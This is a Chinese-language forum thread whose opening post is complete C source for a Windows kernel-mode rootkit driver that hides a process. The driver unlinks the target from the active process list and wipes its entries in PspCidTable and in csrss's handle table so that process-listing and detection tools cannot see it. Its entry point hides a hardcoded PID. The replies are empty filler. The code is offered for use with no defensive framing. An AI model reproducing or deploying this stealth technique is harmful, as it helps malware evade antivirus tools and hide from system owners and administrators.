广海社区

 找回密码
 立即注册
搜索
查看: 138|回复: 5

驱动隐藏进程源码

[复制链接]
累计签到:16 天
连续签到:1 天

27

主题

28

帖子

215

积分

小有名气 Rank: 3Rank: 3

威望
0
热心值
0
贡献
172
交易币
0
发表于 2019-6-11 12:54:45 | 显示全部楼层 |阅读模式
驱动隐藏进程源码
  1. #include "LDasm.h"
  2. #include "HideProcess.h"

  3. ULONG       g_Offset_Eprocess_Name = NULL;
  4. ULONG       g_Offset_Eprocess_Flink = NULL;
  5. ULONG       g_Offset_Eprocess_ProcessId = NULL;
  6. ULONG       g_Offset_Eprocess_HandleTable = NULL;

  7. PEPROCESS   g_pEprocess_System = NULL;

  8. typedef struct _SYSTEM_HANDLE_INFORMATION_EX
  9. {
  10.     ULONG NumberOfHandles;
  11.     SYSTEM_HANDLE_INFORMATION Information[];
  12. }SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

  13. NTSTATUS PsLookupProcessByProcessId(
  14.     HANDLE ProcessId,
  15.     PEPROCESS *Process
  16.     );

  17. HANDLE GetCsrPid();

  18. NTSTATUS
  19. GetPspCidTable(
  20.     OUT PHANDLE_TABLE* ppPspCidTable
  21.     )
  22.     /*
  23.     通过搜索PsLookupProcessByProcessId函数,获取PspCidTable的地址
  24.     */
  25. {
  26.     NTSTATUS        status;
  27.     PUCHAR          cPtr;
  28.     unsigned char * pOpcode;
  29.     ULONG           Length;
  30.     UNICODE_STRING  uniPsLookup;
  31.     ULONG           PsLookupProcessByProcessId;

  32.     status = STATUS_NOT_FOUND;
  33.     /*
  34.     typedef BOOLEAN (*__ExEnumHandleTable)(
  35.     IN PHANDLE_TABLE HandleTable,
  36.     IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
  37.     IN PVOID EnumParameter,
  38.     OUT PHANDLE Handle OPTIONAL
  39.     );
  40.     */

  41.     RtlInitUnicodeString(&uniPsLookup, L"PsLookupProcessByProcessId");
  42.     PsLookupProcessByProcessId = MmGetSystemRoutineAddress(&uniPsLookup); //MmGetSystemRoutineAddress可以通过函数名获得函数地址

  43.     for (cPtr = (PUCHAR)PsLookupProcessByProcessId;
  44.         cPtr < (PUCHAR)PsLookupProcessByProcessId + PAGE_SIZE;
  45.         cPtr += Length)
  46.     {
  47.         Length = SizeOfCode(cPtr, &pOpcode);    //credit to LDasm.c by Ms-Rem
  48.         if (!Length) break;
  49.         if (*(PUSHORT)cPtr == 0x35FF && *(pOpcode + 6) == 0xE8)
  50.         {
  51.             *ppPspCidTable = **(PVOID **)(pOpcode + 2);
  52.             status = STATUS_SUCCESS;
  53.             break;
  54.         }
  55.     }
  56.     return status;
  57. }

  58. BOOLEAN
  59. EnumHandleCallback(
  60.     IN PHANDLE_TABLE_ENTRY HandleTableEntry,
  61.     IN HANDLE Handle,
  62.     IN OUT PVOID EnumParameter
  63.     )
  64. {
  65.     if (ARGUMENT_PRESENT(EnumParameter) && *(HANDLE *)EnumParameter == Handle)
  66.     {
  67.         *(PHANDLE_TABLE_ENTRY *)EnumParameter = HandleTableEntry;
  68.         return TRUE;
  69.     }
  70.     return FALSE;
  71. }

  72. // 修改一下,可以传递要擦除的ID做参数
  73. NTSTATUS
  74. EraseObjectFromHandleTable(
  75.     PHANDLE_TABLE pHandleTable,
  76.     IN HANDLE ProcessId
  77.     )
  78. {
  79.     NTSTATUS        status;
  80.          
  81.     PVOID           EnumParameter;
  82.     UNICODE_STRING  uniExEnumHandleTable;

  83.     __ExEnumHandleTable ExEnumHandleTable;

  84.     status = STATUS_NOT_FOUND;
  85.     EnumParameter = ProcessId;

  86.     //我们通过获取ExEnumHandleTable函数地址
  87.     RtlInitUnicodeString(&uniExEnumHandleTable, L"ExEnumHandleTable");
  88.     ExEnumHandleTable = MmGetSystemRoutineAddress(&uniExEnumHandleTable);

  89.     if (NULL == ExEnumHandleTable)
  90.     {
  91.         return STATUS_NOT_FOUND;
  92.     }

  93.     //调用ExEnumHandleTable函数遍历PspCidTable
  94.     // Enum后可以擦除,Callback过程中不能擦除
  95.     if (ExEnumHandleTable(pHandleTable, EnumHandleCallback, &EnumParameter, NULL))
  96.     {
  97.         /*
  98.         nt!_HANDLE_TABLE_ENTRY
  99.         +0x000 Object           : Ptr32 Void   //对象指针
  100.         +0x000 ObAttributes     : Uint4B
  101.         +0x000 InfoTable        : Ptr32 _HANDLE_TABLE_ENTRY_INFO
  102.         +0x000 Value            : Uint4B
  103.         +0x004 GrantedAccess    : Uint4B
  104.         +0x004 GrantedAccessIndex : Uint2B
  105.         +0x006 CreatorBackTraceIndex : Uint2B
  106.         +0x004 NextFreeTableEntry : Int4B
  107.         */
  108.         //把这个指针对象清零达到我们抹去table的目的
  109.         //在抹去的时候,要保存一下,以便我们的驱动卸载的时候恢复
  110.         InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object, NULL);
  111.         status = STATUS_SUCCESS;
  112.     }

  113.     return status;
  114. }

  115. NTSTATUS
  116. RemoveNodeFromActiveProcessLinks(
  117.     IN HANDLE ProcessId
  118.     )
  119. {
  120.     NTSTATUS    status;
  121.     PLIST_ENTRY pListEntry;
  122.     PEPROCESS   pEprocess;

  123.     status = PsLookupProcessByProcessId(ProcessId, &pEprocess);

  124.     if (!NT_SUCCESS(status))
  125.     {
  126.         return status;
  127.     }
  128.     ObDereferenceObject(pEprocess);

  129.     pListEntry = (ULONG)pEprocess + g_Offset_Eprocess_Flink;

  130.     //从链表中摘除
  131.     pListEntry->Blink->Flink = pListEntry->Flink;
  132.     pListEntry->Flink->Blink = pListEntry->Blink;

  133.     return status;
  134. }


  135. NTSTATUS
  136.     HideProcessById(
  137.     IN HANDLE ProcessId
  138.     )
  139. {
  140.     NTSTATUS        status;
  141.     PHANDLE_TABLE   pPspCidTable;
  142.     PEPROCESS       pCsrssEprocess = NULL;
  143.     HANDLE CsrssId = NULL;

  144.     if (NULL == g_Offset_Eprocess_HandleTable)
  145.     {
  146.         //初始化一些偏移
  147.         status = InitializeCommonVariables();
  148.         if (!NT_SUCCESS(status))
  149.         {
  150.             return status;
  151.         }
  152.     }

  153.     //得到cidtable
  154.     //1:利用pdb
  155.     //2:搜索特征码
  156.     status = GetPspCidTable(&pPspCidTable);
  157.     if (!NT_SUCCESS(status))
  158.     {
  159.         return status;
  160.     }
  161.     //获取csrss的进程id
  162.     CsrssId = GetCsrPid();
  163.     if (!CsrssId)
  164.     {
  165.         return STATUS_UNSUCCESSFUL;
  166.     }
  167.     //通过pid得到csrss的EPROCESS
  168.     status = PsLookupProcessByProcessId(CsrssId,&pCsrssEprocess);
  169.     if (!NT_SUCCESS(status))
  170.     {
  171.         return status;
  172.     }
  173.     //消除引数
  174.     ObDereferenceObject(pCsrssEprocess);

  175.     //重点开始了:

  176.     // 先从活动进程链表中摘除
  177.     status = RemoveNodeFromActiveProcessLinks(ProcessId);
  178.     //双向链表断链之后,

  179.     // 擦除PspCidTable中对应的Object
  180.     status = EraseObjectFromHandleTable(pPspCidTable, ProcessId);
  181.     //基于PspCidTable的进程检测也无效了.但是进线程退出时会调用ExDestroyHandle()销毁句柄,若找不到就会蓝屏,所以要小心在进程退出的时候恢复


  182.     //擦除Csrss进程中那份句柄表
  183.     status = EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess + g_Offset_Eprocess_HandleTable), ProcessId);
  184.     //这样一来基于csrss进程中的句柄表的检测也无效了,也就相当于我们的OpenProcess

  185.     return status;
  186. }
  187. PSYSTEM_HANDLE_INFORMATION_EX GetInfoTable(OUT PULONG nSize)
  188. {
  189.     PVOID Buffer;
  190.     NTSTATUS status;
  191.     Buffer =ExAllocatePool(PagedPool,0x1000);
  192.     status = ZwQuerySystemInformation(SystemHandleInformation, Buffer, 0x1000, nSize);
  193.     ExFreePool(Buffer);
  194.     if(status == STATUS_INFO_LENGTH_MISMATCH)
  195.     {
  196.         Buffer = ExAllocatePool(NonPagedPool, *nSize);
  197.         status = ZwQuerySystemInformation(SystemHandleInformation, Buffer, *nSize, NULL);
  198.         if(NT_SUCCESS(status))
  199.         {
  200.             return (PSYSTEM_HANDLE_INFORMATION_EX)Buffer;
  201.         }
  202.     }
  203.     return (PSYSTEM_HANDLE_INFORMATION_EX)0;
  204. }
  205. //原理就是在handle table里面 objectName--》\\Windows\\ApiPort
  206. HANDLE GetCsrPid()
  207. {
  208.     HANDLE Process,hObject;
  209.     HANDLE CsrId = (HANDLE)0;
  210.     OBJECT_ATTRIBUTES obj;
  211.     CLIENT_ID cid;
  212.     UCHAR Buff[0x100];
  213.     POBJECT_NAME_INFORMATION ObjName = (PVOID)&Buff;
  214.     PSYSTEM_HANDLE_INFORMATION_EX Handles;
  215.     ULONG i;
  216.     ULONG nSize;

  217.     //获取PSYSTEM_HANDLE_INFORMATION_EX
  218.     Handles = GetInfoTable(&nSize);
  219.     if(!Handles)
  220.     {
  221.         return CsrId;
  222.     }
  223.     for(i = 0; i < Handles->NumberOfHandles; i++)
  224.     {
  225.         if(Handles->Information[i].ObjectTypeNumber == 21)
  226.         {
  227.             InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
  228.             cid.UniqueProcess = (HANDLE)Handles->Information[i].ProcessId;
  229.             cid.UniqueThread  = 0;

  230.             //打开进程
  231.             if(NT_SUCCESS(NtOpenProcess(&Process, PROCESS_DUP_HANDLE, &obj, &cid)))
  232.             {
  233.                 //copy handle
  234.                 if(NT_SUCCESS(ZwDuplicateObject(Process, (HANDLE)Handles->Information[i].Handle, NtCurrentProcess(), &hObject, 0, 0, DUPLICATE_SAME_ACCESS)))
  235.                 {
  236.                     //query
  237.                     if(NT_SUCCESS(ZwQueryObject(hObject, ObjectNameInformation, ObjName, 0x100, NULL)))
  238.                     {
  239.                         if(ObjName->Name.Buffer && !wcsncmp(L"\\Windows\\ApiPort", ObjName->Name.Buffer, 20))
  240.                         {
  241.                             //返回pid
  242.                             CsrId = (HANDLE)Handles->Information[i].ProcessId;
  243.                             KdPrint(("Csrss.exe PID = %d", CsrId));
  244.                         }
  245.                     }
  246.                     ZwClose(hObject);
  247.                 }
  248.                 ZwClose(Process);
  249.             }
  250.         }
  251.     }
  252.     ExFreePool(Handles);
  253.     return CsrId;
  254. }
  255. NTSTATUS
  256. GetProcessNameOffset(
  257.     OUT PULONG  Offset OPTIONAL
  258.     )
  259.                      /*
  260.                      在DriverEntry中调用
  261.                      */
  262. {
  263.     NTSTATUS    status;
  264.     PEPROCESS   curproc;
  265.     ULONG           i;

  266.     if (!MmIsAddressValid((PVOID)Offset))
  267.     {
  268.         status = STATUS_INVALID_PARAMETER;
  269.         return status;
  270.     }

  271.     curproc = PsGetCurrentProcess();

  272.     //
  273.     // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量
  274.     // 偏移174h的位置,这里存的是进程的短文件名,少数地方用,
  275.     // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断

  276.     // Scan for 12KB, hopping the KPEB never grows that big!
  277.     //
  278.     for( i = 0; i < 3 * PAGE_SIZE; i++ ) {

  279.         if(!strncmp( "System", (PCHAR) curproc + i, strlen("System"))) {
  280.             *Offset = i;
  281.             status = STATUS_SUCCESS;
  282.             break;
  283.         }
  284.     }
  285.     return status;
  286. }

  287. NTSTATUS
  288. InitializeCommonVariables(
  289.     )
  290. {
  291.     NTSTATUS    status;
  292.     ULONG   uMajorVersion;
  293.     ULONG   uMinorVersion;

  294.     status = GetProcessNameOffset(&g_Offset_Eprocess_Name);

  295.     if (!NT_SUCCESS(status))
  296.     {
  297.         return status;
  298.     }

  299.     g_pEprocess_System = PsGetCurrentProcess();

  300.     PsGetVersion(&uMajorVersion, &uMinorVersion, NULL, NULL);

  301.     if (uMajorVersion == 4 && uMinorVersion == 0)
  302.     {
  303.         g_Offset_Eprocess_Flink = 152;
  304.         // Stop supporting NT 4.0
  305.         return STATUS_UNSUCCESSFUL;
  306.     }
  307.     else if (uMajorVersion == 5 && uMinorVersion == 0)
  308.     {
  309.         g_Offset_Eprocess_ProcessId = 156;
  310.         g_Offset_Eprocess_Flink = 160;
  311.         g_Offset_Eprocess_HandleTable = 0x128;
  312.     }
  313.     else if (uMajorVersion == 5 && uMinorVersion == 1)
  314.     {
  315.         g_Offset_Eprocess_ProcessId = 132;
  316.         g_Offset_Eprocess_Flink = 136;
  317.         g_Offset_Eprocess_HandleTable = 0xC4;
  318.     }
  319.     else if (uMajorVersion == 5 && uMinorVersion == 2)
  320.     {
  321.         g_Offset_Eprocess_ProcessId = 132;
  322.         g_Offset_Eprocess_Flink = 136;
  323.         g_Offset_Eprocess_HandleTable = 0xC4;
  324.     }

  325.     return STATUS_SUCCESS;
  326. }
  327. VOID DriverUnload(
  328.     IN PDRIVER_OBJECT       DriverObject
  329.     )
  330. {

  331. }
  332. NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath )
  333. {
  334.     DriverObject->DriverUnload = DriverUnload;

  335.     //写一个函数,通过pid隐藏进程
  336.     HideProcessById((HANDLE)1528);

  337.     return STATUS_SUCCESS;
  338. }
复制代码


回复

使用道具 举报

尚未签到

0

主题

50

帖子

100

积分

正式会员 Rank: 2

威望
0
热心值
0
贡献
50
交易币
0
发表于 2019-6-14 16:50:32 | 显示全部楼层
在撸一遍。。。
回复

使用道具 举报

尚未签到

0

主题

60

帖子

120

积分

正式会员 Rank: 2

威望
0
热心值
0
贡献
60
交易币
0
发表于 2019-6-14 22:42:36 | 显示全部楼层
宇宙第一贴诞生了!
回复

使用道具 举报

尚未签到

0

主题

45

帖子

90

积分

正式会员 Rank: 2

威望
0
热心值
0
贡献
45
交易币
0
发表于 2019-6-15 11:16:10 | 显示全部楼层
被楼主的逻辑打败了!
回复

使用道具 举报

尚未签到

0

主题

47

帖子

94

积分

正式会员 Rank: 2

威望
0
热心值
0
贡献
47
交易币
0
发表于 2019-6-16 12:45:12 | 显示全部楼层
楼主会死的很有节奏的!
回复

使用道具 举报

尚未签到

0

主题

52

帖子

104

积分

正式会员 Rank: 2

威望
0
热心值
0
贡献
52
交易币
0
发表于 2019-6-17 13:50:14 | 显示全部楼层
哥回复的不是帖子,是寂寞!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

QQ|Archiver|手机版|小黑屋|广海社区 |格子

GMT+8, 2019-8-22 17:15 , Processed in 1.504980 second(s), 43 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表